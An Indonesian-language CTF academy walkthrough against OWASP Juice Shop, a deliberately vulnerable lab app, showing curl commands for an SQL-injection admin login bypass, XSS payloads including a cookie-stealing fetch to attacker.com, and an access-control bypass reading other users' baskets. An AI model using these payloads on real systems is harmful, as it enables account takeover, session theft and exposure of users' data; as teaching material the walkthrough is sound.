TDCTF Academy Logo TDCTF ACADEMY

Juice Shop - OWASP Top Vulnerabilities

Target: juice.vuln.cybersecurity.or.id:3000 | Level: Menengah | Tools: curl, Browser

Challenge

OWASP Juice Shop adalah aplikasi web Node.js yang sengaja dibuat rentan. Kali ini kita akan mengeksploitasi 3 kerentanan utama:

  1. SQL Injection login bypass
  2. Cross-Site Scripting (XSS)
  3. Broken Access Control (mengakses keranjang orang lain)

1. SQL Injection - Login Bypass

Langkah 1: Identifikasi Form Login

Buka halaman utama, klik Login. Ada form email + password.

Langkah 2: Uji SQL Injection

Kirim payload SQL Injection pada field email:

curl -X POST http://juice.vuln.cybersecurity.or.id:3000/rest/user/login \\
-H "Content-Type: application/json" \\
-d '{"email":"'"'"' OR 1=1--","password":"test"}'

Hasil:

{
"authentication": {
"token": "eyJ0eX...",
"bid": 1,
"umail": "[email protected]"
}
}

Login berhasil sebagai admin! Token JWT dikembalikan.

Mengapa ini bisa terjadi? Query SQL yang dihasilkan: SELECT * FROM Users WHERE email='' OR 1=1--' - kondisi OR 1=1 membuat query selalu true.


2. Cross-Site Scripting (XSS)

Stored XSS via Feedback

Buka halaman Contact Us atau Customer Feedback. Kirim komentar dengan payload XSS:

<script>alert('XSS')</script>

Atau untuk mencuri cookie:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Coba cari produk dengan payload XSS:

http://juice.vuln.cybersecurity.or.id:3000/#/search?q=<script>alert(document.cookie)</script>

3. Broken Access Control - Basket Access

Langkah 1: Daftarkan 2 akun berbeda

Buat akun A dan akun B, lalu login ke masing-masing.

Langkah 2: Intersep Request Keranjang

Gunakan Burp Suite atau browser DevTools, cari request ke:

GET /api/Basket/<id>

Langkah 3: Akses Keranjang User Lain

Ubah bid (basket ID) di JWT token atau langsung akses:

# Token dari admin login sebelumnya
TOKEN="eyJ0eX..."
# Akses keranjang dengan ID berbeda
curl -s http://juice.vuln.cybersecurity.or.id:3000/api/Basket/2 \\
-H "Authorization: Bearer $TOKEN"

Jika berhasil, Anda bisa melihat isi keranjang user lain tanpa otorisasi.


Kesimpulan

Vulnerability Dampak
SQL Injection Login sebagai admin tanpa password
Stored/Reflected XSS Mencuri cookie, deface, phishing
Broken Access Control Akses data pengguna lain

Referensi


Walkthrough ini disusun untuk tujuan edukasi keamanan siber. Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI